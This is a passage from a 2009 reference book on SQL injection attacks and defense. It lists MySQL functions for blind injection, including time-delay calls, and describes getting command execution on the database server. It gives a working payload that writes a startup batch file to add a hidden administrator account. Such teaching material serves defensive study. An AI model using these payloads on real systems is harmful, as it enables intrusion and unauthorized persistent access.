SQL Injection Attacks and Defense - 2009

References • Chapter 10 433
Table 10.13 Blind SQL Injection Functions
Data
String length
Extract substring from a
given string
String (‘ABC’) representation
with no single quotes
Trigger time delay
IF statement
Query
LENGTH()
SELECT SUBSTR(string, offset, length);
SELECT char(65,66,67);
BENCHMARK(1000000,MD5("HACK"));
# Triggers a measurable time delay
SLEEP(10);
# Triggers a 10-second time delay
(MySQL Version 5 and later)
SELECT if(1=1,'A','B');
-- returns 'A'
Attacking the Database Server: MySQL
Unlike Microsoft SQL Server, MySQL does not contain any built-in procedures for
executing operating system commands. There are, however, a number of strategies that could
lead to remote system access. This section describes some of the strategies that could be
employed to gain remote code execution and/or read and write local files.
System Command Execution
It is possible to execute operating system commands by creating a malicious script file on
the target server that will be routinely executed. The following syntax is used to write local
files from within MySQL:
SELECT 'system_commands' INTO dumpfile trojanpath
The following statement would create a batch file within the Windows startup directory
designed to add administrative user x with a password of x:
SELECT 'net user x x /add %26%26 net localgroup administrators x /add' into
dumpfile 'c:\\Documents and Settings\\All Users\\Start Menu\\Programs
\\Startup\\attack.bat'